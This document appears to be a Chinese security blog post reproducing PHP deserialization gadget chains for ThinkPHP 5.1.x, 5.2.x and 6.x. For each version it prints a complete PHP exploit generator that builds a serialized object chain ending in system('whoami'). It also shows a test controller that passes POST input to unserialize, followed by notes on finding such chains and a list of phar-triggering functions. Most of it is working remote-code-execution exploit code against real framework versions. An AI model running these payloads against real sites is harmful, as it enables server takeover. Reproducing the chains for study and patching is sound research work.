thinkphp 反序列化系列gadget 复现

环境准备

安装composer

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curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

安装对应版本的tp后,修改index controller的index方法

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public function index()
{
unserialize($_POST['payload']);
return "Over";
}

ThinkPHP5.1.X

安装tp

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composer create-project --prefer-dist topthink/think tp5137
cd tp5137
vim composer.json # 把"topthink/framework": "5.1.*"改成"topthink/framework": "5.1.37"
composer update

think\process\pipes;
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think\model\concern\Conversion
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要进入红框逻辑
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基本上扩展到调用任意类的任意方法
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filter
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所以如果实在要用input,就需要迂回即查找有哪些方法内部使用了input,可以找到param。
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不过 $name参数这里是刚才合并数组后第一个参数$this传回到input第二个参数后,会强制类型转换成string。
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所以要强行用input就要继续找其它调用input的方法,或者调用param的方法。
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这样input的第一个参数和第二个参数都可控了。

最后的payload

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<?php
namespace think\process\pipes {
class Windows {
private $files = [];
private $fileHandles = [];

public function __destruct()
{
$this->close();
$this->removeFiles();
}

public function close()
{
foreach ($this->fileHandles as $handle) {
fclose($handle);
}
$this->fileHandles = [];
}

private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

public function setFile($value){
$this->files[] = $value;
}
}
}

namespace think\model\concern {
trait Conversion{
protected $append = ['key' => array()];

public function toArray()
{
$item = [];
$hasVisible = false;

if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}

$item[$key] = $relation->append($name)->toArray();
}
}
}

return $item;
}

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

public function __toString()
{
return $this->toJson();
}

}

trait RelationShip{
private $relation = [];

public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

public function setRelation($key, $relation){
$this->relation[$key] = $relation;
}
}

trait Attribute{
private $filter;
private $data = ['key' => ''];

public function getAttr($name, &$item = null){
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}

return $value;
}

public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

public function setData($key, $value)
{
$this->data[$key] = $value;
}
}
}

namespace think{
class Request{
protected $mergeParam = True;
protected $hook = ['visible' => ''];
protected $param = ['payload'=>array('whoami')]; //input的第一个参数
protected $config = ['var_ajax' => 'payload']; //var_ajax所对应值是input的第二个参数
protected $filter = ['system'];

public function __call($method, $args){
#var_dump($this->hook[$method]);
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

throw new Exception('method not exists:' . static::class . '->' . $method);
}

public function input($data = [], $name = '', $default = null, $filter = '')
{

if (false === $name) {
return $data;
}

$name = (string) $name;
if ('' != $name) {
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
}

protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}

return $data;
}

protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;

return $filter;
}

private function filterValue(&$value, $key, $filters)
{
#($filters, $value);
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
$value = call_user_func($filter, $value);
}
}

return $value;
}

public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

public function server($name = '', $default = null)
{
if (empty($name)) {
return $this->server;
} else {
$name = strtoupper($name);
}

return isset($this->server[$name]) ? $this->server[$name] : $default;
}

public function setHook($value){
$this->hook['visible'] = $value;

}
}

abstract class Model
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\Conversion;
}
}

namespace think\model {
use think\Model;
class Pivot extends Model{}
}

namespace {
$request = new think\Request;
$request->setHook(array($request, 'isAjax'));
$conversion = new think\model\Pivot();
$conversion->setData('key', $request);
$windows = new think\process\pipes\Windows();
$windows->setFile($conversion);
echo urlencode(serialize($windows));
}

ThinkPHP5.2.X

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composer create-project topthink/think=5.2.x-dev tp52x
cd tp52x
./think run

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在复现在时候看到文章分析说tp5.2.x里面的$relation->visible($name);被删除掉了,所以没法用tp5.1.x的链。个人感觉其实说的不对,如下图所示,它还在只是被封装到了另外一个函数里面,变量依然可控,真正的原因应该是 Request 类的 __call 方法被被移除了
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至此,tp5.1和tp5.2从这里开始分叉,tp5.2.x就下来用的gadget是toArray中的getAttr
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<?php
namespace think\process\pipes {
class Windows {
private $files = [];
private $fileHandles = [];

public function __destruct()
{
$this->close();
$this->removeFiles();
}

public function close()
{
foreach ($this->fileHandles as $handle) {
fclose($handle);
}
$this->fileHandles = [];
}

private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

public function setFile($value){
$this->files[] = $value;
}
}
}

namespace think\model\concern {
trait Conversion{
protected $visable = ['key' => 'value'];

public function toArray()
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
$item[$key] = $val->toArray();
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

return $item;
}

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

public function __toString()
{
return $this->toJson();
}

}

trait Attribute{
protected $strict = true;
private $data = ['key' => 'whoami'];
private $withAttr = ['key' => 'system'];

protected function getValue(string $name, $value, bool $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
//$method = 'get' . App::parseName($name, 1) . 'Attr';

if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($name);
}

$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
} elseif (method_exists($this, $method)) {
if ($relation) {
$value = $this->getRelationValue($name);
}

$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$fieldName])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$fieldName]);
} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
$value = $this->getTimestampValue($value);
} elseif ($relation) {
$value = $this->getRelationAttribute($name);
}

return $value;
}

public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = true;
$value = null;
}

return $this->getValue($name, $value, $relation);
}

public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}

$fieldName = $this->getRealFieldName($name);

if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}

throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : App::parseName($name);
}
}

trait RelationShip
{
private $relation = [];
}
}

namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
use model\concern\RelationShip;
}
}

namespace think\model {
use think\Model;
class Pivot extends Model{}
}

namespace {
$conversion = new think\model\Pivot();
//$conversion->__toString();
$windows = new think\process\pipes\Windows();
$windows->setFile($conversion);
echo urlencode(serialize($windows));
}

ThinkPHP6.X

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composer create-project --prefer-dist topthink/think=6.0.x-dev tp6x
cd tp6x
./think run

ThinkPHP6.x 的代码移除了 think\process\pipes\Windows 类,但POP链__toString 之后的 Gadget 仍然存在,所以再找一个可触发__toString的点即可。

vendor/topthink/think-orm/src/Model.php
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<?php

namespace think{
abstract class Model{
use model\concern\ModelEvent;
use model\concern\Attribute;
use model\concern\TimeStamp;
use model\concern\RelationShip;
use model\concern\Conversion;

private $lazySave = True;
private $exists = True;
private $force = True;
protected $table = '';
protected $suffix = '';

public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}

public function save(array $data = [], string $sequence = null): bool
{

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

return true;
}

public function isEmpty(): bool
{
return empty($this->data);
}

protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}

//$this->checkData();

// 获取有更新的数据
$data = $this->getChangedData();

if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}

return true;
}

if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}

// 检查允许字段
$allowFields = $this->checkAllowFields();
}

protected function checkAllowFields(): array
{
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
//$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}

return $this->field;
}
}

public function setTable($table){
$this->table = $table;
}
}

}

namespace think\model{
use think\Model;
class Pivot extends Model{}
}

namespace think\model\concern{
trait Attribute{
protected $strict = true;
private $data = ['key' => 'whoami'];
private $withAttr = ['key' => 'system'];
protected $field = [];
protected $schema = [];

public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}

return is_object($a) || $a != $b ? 1 : 0;
});

// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (isset($data[$field])) {
unset($data[$field]);
}
}

return $data;
}

protected function getValue(string $name, $value, bool $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
//$method = 'get' . App::parseName($name, 1) . 'Attr';

if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($name);
}

$closure = $this->withAttr[$fieldName];
var_dump($closure, $value);
$value = $closure($value, $this->data);
} elseif (method_exists($this, $method)) {
if ($relation) {
$value = $this->getRelationValue($name);
}

$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$fieldName])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$fieldName]);
} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
$value = $this->getTimestampValue($value);
} elseif ($relation) {
$value = $this->getRelationAttribute($name);
}

return $value;
}

public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = true;
$value = null;
}

return $this->getValue($name, $value, $relation);
}

public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}

$fieldName = $this->getRealFieldName($name);

if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}

throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : App::parseName($name);
}
}

trait ModelEvent{
protected $withEvent = false;

protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
}
}

trait TimeStamp{
protected $autoWriteTimestamp = False;
}

trait RelationShip
{
private $relation = [];
}

trait Conversion{
protected $visable = ['key' => 'value'];

public function toArray()
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
$item[$key] = $val->toArray();
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

return $item;
}

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

public function __toString()
{
return $this->toJson();
}
}

}

namespace {
$model = new think\model\Pivot();
$model->setTable($model);
echo urlencode(serialize($model));
}

个人方法论

反序列化起点

起点只有两个

  • __walkup
  • __destrusct

反序列化的中继点

  • 要是某段代码等价于形如$this->obj1->method(),中继点可以是obj2的同名method方法,也可以是obj3__call方法
  • 处理字符串的函数(可控$obj),中继点可以是$obj的__toString
  • 某段代码形如$this->obj[$key],中继点可以__get或者实现了ArrayAccess的接口。
  • 某段代码里面有new了新对象,那么中继点可以是那个对象的__contrust方法

总结一下触发__toString

  1. php内置函数会把传入变量当作字符串处理的时候,例如file_exists(),sprintf
  2. 与其它字符串发生运算的时候例如.==
  3. php原生代码里面的异常处理类存在tostring调用点,实际使用时很好用

反序列化的终点

  • 一般PHP中的call方法都是用来进行容错或者是动态调用,所以一般会在call方法中使用__call_user_func(\$method, $args)__call_user_func_array([\$obj,\$method], $args),例如tp5.1
  • 动态调用的方法,$可控方法($可控参数),例如tp5.2

书写exp时候注意事项

  • 尽量不进行省略步骤性质的优化,防止出现exp可以但实际环境不成功人为玄学的情况。
  • 对单行执行的不获取返回值的函数进行省略(只要函数内部没有不会抛出异常)。
    Alt text
  • 触发流程之后的代码都可以省略掉。

上面讲的个人心得是脱离框架写exp的思路,maybe直接在框架下的某个路由写exp效率更高。

受phar影响的函数

  • fileatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents / readfile / fopen
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable /
  • is_writable
  • parse_ini_file
  • unlink
  • copy

参考

挖掘暗藏ThinkPHP中的反序列利用链
ThinkPHP5.1.X反序列化利用链
ThinkPHP5.2.x反序列化利用链
ThinkPHP6.X反序列化利用链
N1CTF2019 sql_manage出题笔记

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